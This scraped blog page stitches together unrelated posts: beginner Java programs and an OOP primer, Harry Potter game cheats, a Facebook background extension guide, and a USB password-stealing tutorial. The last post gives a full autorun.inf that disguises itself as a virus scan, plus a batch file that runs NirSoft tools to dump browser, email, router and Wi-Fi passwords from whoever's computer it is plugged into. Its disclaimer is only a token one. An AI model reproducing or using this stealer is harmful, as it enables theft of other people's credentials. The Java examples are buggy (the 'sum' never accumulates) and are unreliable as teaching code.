TECHNOLOGY POINT

WAP IN JAVA to find sum of 'n' numbers using CALL BY REFERENCE


class innovation
{
public int a;
public int sum=0;
void add(innovation two)
{
two.a=a;
for(;a<=10;a++)
{
two.sum=a+sum;
System.out.println(sum);
}
}
public static void main(String args[])
{
innovation one=new innovation();
one.a=1;
one.add(one);
}
}
USE ANY NUMBER IN PLACE OF 10
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To convert a given number into corresponding hours, minutes, and seconds.


class  hour
{
public static void main(String args[])
{
int h,m,s,t,min;
t=7266;
h=t/3600;
System.out.println("hours"+h);
m=t%3600;
System.out.println("m"+m);
min=m/60;
System.out.println("min"+min);
}
}
in place of 7266 for t , use any number.
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INTRODUCTION TO OOP ,OBJECTS AND CLASSES

NOW HERE IS AN 
INTRODUCTION TO OOP ,OBJECTS AND CLASSES AND FUNCTIONS

OBJECT ORIENTED PROGRAMMING:

OOP is a design philosophy. It stands for Object Oriented Programming. Object-Oriented Programming (OOP) uses a different set of programming languages than old procedural programming languages (C, Pascal, etc.). Everything in OOP is grouped as self sustainable "objects". Hence, you gain re-usability by means of four main object-oriented programming concepts.


OBJECT:
An object can be considered a "thing" that can perform a set of related activities. The set of activities that the object performs defines the object's behavior. For example, the hand can grip something or a Student (object) can give the name or address.
In pure OOP terms an object is an instance of a class.



CLASS:

class is simply a representation of a type of object. It is the blueprint/ plan/ template that describe the details of anobject. A class is the blueprint from which the individual objects are created. Class is composed of three things: a name, attributes, and operations.
public class Student
{
}
According to the sample given below we can say that the student object, named objectStudent, has created out of theStudent class.

A Java method is a collection of statements that are grouped together to perform an operation. When you call the System.out.println method, for example, the system actually executes several statements in order to display a message on the console.
Now you will learn how to create your own methods with or without return values, invoke a method with or without parameters, overload methods using the same names, and apply method abstraction in the program design.
A method definition consists of a method header and a method body. Here are all the parts of a method:
·         Modifiers: The modifier, which is optional, tells the compiler how to call the method. This defines the access type of the method.

·         Return Type: A method may return a value. The returnValueType is the data type of the value the method returns. Some methods perform the desired operations without returning a value. In this case, the returnValueType is the keyword void.


·         Method Name: This is the actual name of the method. The method name and the parameter list together constitute the method signature.

·         Parameters: A parameter is like a placeholder. When a method is invoked, you pass a value to the parameter. This value is referred to as actual parameter or argument. The parameter list refers to the type, order, and number of the parameters of a method. Parameters are optional; that is, a method may contain no parameters.


·         Method Body: The method body contains a collection of statements that define what the method does.

·         In creating a method, you give a definition of what the method is to do. To use a method, you have to call or invoke it. There are two ways to call a method; the choice is based on whether the method returns a value or not.


·         When a program calls a method, program control is transferred to the called method. A called method returns control to the caller when its return statement is executed or when its method-ending closing brace is reached.




·         If the method returns a value, a call to the method is usually treated as a value. 
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WAP IN JAVA to find sum of 'n' numbers using CALL BY REFERENCE


class innovation
{
public int a;
public int sum=0;
void add(innovation two)
{
two.a=a;
for(;a<=10;a++)
{
two.sum=a+sum;
System.out.println(sum);
}
}
public static void main(String args[])
{
innovation one=new innovation();
one.a=1;
one.add(one);
}
}
USE ANY NUMBER IN PLACE OF 10
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Harry Potter - Sorcerer's Stone

Harry Potter - Sorcerer's Stone

Cheatmode:

----------





Submitted by: [-=HELLCHiLD=-]



Type these codes under the game. You will need a

little practise to get it done properly for the first time.

Effect Code

----------------------------

Debug mode:

press [F7] to disable - harrydebugmodeon

Unknown - harrysuperkoresh

Restores health - harrygetsfullhealth

Super jumps - harrysuperjump

Big jumps - harrynormaljump

beans - harrytriggercheat

Invincibility - harrykoresh

Unknown - harrykorwalk



If debug mode in enabled then you can select all levels

from the main menu.

 

Level select:

-------------

Enable the harrydebugmodeon code, then return to the

main menu.



Hint:

-----

Submitted by: Laura Mccoll

In the castle grounds there are walls that are different colours

to the normal walls click twem and get treasures.

In the dungeon there are book cases that are really thin click them

to go to treasures.

when you go to diagon alley you see a witch to the right of Gringotts

got to her and she will say "go away"use your Advanced Flipendo if

you have it and you will you to a hidden palace.

When pacing the devils snare hit the light green ones first and they

will go puff but hit a dark green and they come back.

Bertie Bott Beans:

------------------

Collect the following amount of Bertie Bott beans to

unlock an item behind a portrait at Hogwarts.



50 Yellow Beans: Nimbus Two Thousand

70 Blue Beans : Glove for Quidditch

80 Green Beans: Card

100 Red Beans: Advanced Flipendo

Hints:

------

Submitted by: Prashant Yadav-Pacific

In Harry Potter and the sorcerer's stone game-

When you reaches a monster called Fluffy and you

(harry) have to use the flute to make it sleep, make

the two extreme side monster sleep first and then the

middle one, it will be easier. And they shake their a

bit head before hitting you (Harry).

When you (Harry) reach the place of fight with professor

quirell, you can defeat him by pushing the pillar on him,

when all the pillar gets destructed, move behind the mirror,

there are two sides of mirror-one can reflect back the power

of quirell and other side can let the power to pass through

mirror and hit you (Harry Potter) so you can move the mirror

using Flipendo spell and see the quirell with his own power.

Another thing there is basically three power quirell uses-one

is Flipendo to shake the pillar (the pillar won't fall on you,

in any case), other is two green colour spell-it includes a

straight hitting spell and a chasing spell, if you (Harry) run

away from chasing spell for a distance, it automatically

finishes off.

MAIN CHEAT CODES

-----------------

HarryWantMama (or Ugoringt) - Play as Ron or Professor Snape

HINTS

Disabling turtles

---------------

Hit a turtle with the first spell and he just stops. Hit him with a second

spell and he will turn away. Hit him with a third spell and he will turn

up-side-down. Hit him again, when he is up-side-down and he will be pushed

away. Use this to push the turtles to places where they cannot hurt you

anymore, such as in the water or any other place where you yourself would

die.

Get Items

----------

If you fly at the Hogwarts seal in broomstick training, it will open. You

get 4 bertie botts, every flavour beans and a wizard card. (thanks Kadie)

Avoid Fighting

---------------

Avoid fighting Malfoy or Peeves. Right at the entrances where you have to

fight Malfoy or Peeves enable the Harrysuperjump code. You will leave the

room and then they will leave you alone.

Using Super Jump To Your Advantage On The Voldemort level

-----------------------------------------------------------------

1. Hermione will lead you to the Face of Fire. Stand close to the edge of

the top stair and type in harrysuperjump. You will jump to the other side

without doing the Face of Fire.

2. Those stairs after the Face of Fire are tricky. You could fall down.

Stand on the balcony part where you saw Quirrel and type in harrynormaljump.

Jump there safely. Don't use Super Jump. It's too risky.

3. Quirrel will throw spells at you. Stand close to the balcony where he

stands so he won't hit you. Type in harrysuperjump to get to him

 

Hidden items:

-------------

During broomstick training fly directly at the Hogwarts seal. You will enter

a secret room and find four Bertie Botts every flavor beans and a Wizard Card.

The beans will be quite old seeing no one has found the room since 1867.

Easy jellybeans:

----------------

Whenever you find any suit of armor and most statues, cast the Flipendo spell

and it will give you jellybeans. With most objects you must to hit it until

the Flipendo sign does not appear. This indicates that it has no more jellybeans.

Invisible Voldemort:

--------------------

This trick only works for a certain amount of time. When you are at the location

immediately before you have to fight Voldemort, use the harrysuperjump code to

land on top of the roof. When you jump down on the right, you can walk of near

the mirror and he will start talking to you. When he says "Die Potter", you will

walk back and he will then walk back to the mirror and continue correctly.

Invisible Alohomohra:

---------------------

After Neville and Professor McGonnagell talk to you in Hogwarts Front 2, enable

the harrysuperjump in front of the school and go in behind the fountain thing in

the secret room. Go to one of the corners and face the center of the room. Cast

a spell into the center of the room and release. There should be an Alohmora.

Face the fountain's back side and squeeze through. just as done in Hogwarts

Front 1.

Scatter potions:

----------------

When you get to the potions, hold [Space] during the entire dialogue and the

potion shuffle. The potions will scatter.

Easy level completion:

----------------------

Enable the harrydebugmodeon code, then press [F2] to [F6] to get to places

closest to the end.

Treasure chests in Incendeo challenge:

--------------------------------------

Cast Incendeo on all the Spikey bushes. Then, climb up on the hedges and jump

down to find treasure chests.
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How to Change Facebook Login Screen Background Picture


The traditional Facebook login screen is very boring and monotonous since it took a long time with nochanges. Maybe Facebook have forget about changing thatBackground Screen or even a little changes. Now you can change the Facebook Screen Background to any Picture that you want to put, using a very simple method. This trick is about a Chrome Extension that will help you do that with few clicks. So we Post it For you al fanz.
How to Change Facebook Login Screen Background Picture

1) First of all, Go to FB Refresh Chrome Extension.

2) Click Add to Chrome, then confirm by clicking Add button.

                                             





3) After adding the plugin to Google Chrome, Go to  chrome://chrome/extensions/   to access allChrome extension settings.

4) Now scroll down until you find the installed extension (FB Refresh), then Click Options just below it.





5) When you click Options, you'll be redirected to settings page of FB Refresh.


6) Under Image URL/Upload section you can paste the Image URL that you can find on Google Image Search or simply Upload an image of you.


 

7) You can also customize some other settings (Repeat X/Y, Size...) if needed.

8) After that, you have to Click on Save button in the bottom of the page.


Done! Now you can visit Facebook and notice the new Background that looks very stylish.
EnjoY (-_-) 
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How To Steal Passwords From A Computer With USB In Just Seconds???

How To Steal Passwords From A Computer With USB In Just Seconds???
Here is the tutorial you want fanz, you can steal any pass means all passwords related to that computer. it can also steal once saved browser passes. 

Tutorial: 

How To Make Stealer?


Download This Ready made Files or make your own way as shown below. Pass Stealer

Or Custom Making of stealer:

Step 1Open Notepad and Create a new file.

Type or copy/paste Text below:-

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

Save this as AUTORUN.inf (NOTE: extension must be .inf  not .txt)

Step 2: Now again open Notepad and Create a new file.
Type or copy/paste Text below…

start mspass.exe /stext pass/mspass.txt
start mailpv.exe /stext pass/mailpv.txt
start iepv.exe /stext pass/iepv.txt
start pspv.exe /stext pass/pspv.txt
start PasswordFox.exe /stext pass/passwordfox.txt
start OperaPassView.exe /stext pass/OperaPassView.txt
start ChromePass.exe /stext pass/ChromePass.txt
start WebBrowserPassView.exe /stext pass/AllBrowserPass.txt
start mspass.exe /stext pass/msofficepass.txt
start RouterPassView.exe /stext pass/Router.txt
start Dialupass.exe /stext pass/Dialupass.txt
start netpass.exe /stext pass/netpass.txt
start WirelessKeyView.exe /stext pass/WirelessKeyView.txt



Save this as LAUNCH.bat
Now you have 2 files…

Step 3: Copy the autorun and launch file to your USB…


Step 4: Go to http://www.nirsoft.net/

And download the programs which you named in Step 2… and copy them with your other files that is autorun and launch.bat files.

How To Use?



  • Now copy our ready made pass stealer files or your setup files to your usb drive
  • Now re-plug USB. 
  • Choose Perform A Virus Scan Option, on auto-run menu.
  • Era..!!! All Pass r steal and in pass folder.
  • You can run launch.bat file direct and steal pass.
Note: These File are may be deleted by antivirus. So be care-full.

Proof:






Hacking passwords and id is under crime. you will get caught by police if you do that. I am sharing knowledge for education purpose only.Not my responsibility if you caught bye hacking. Do not hack passwords.

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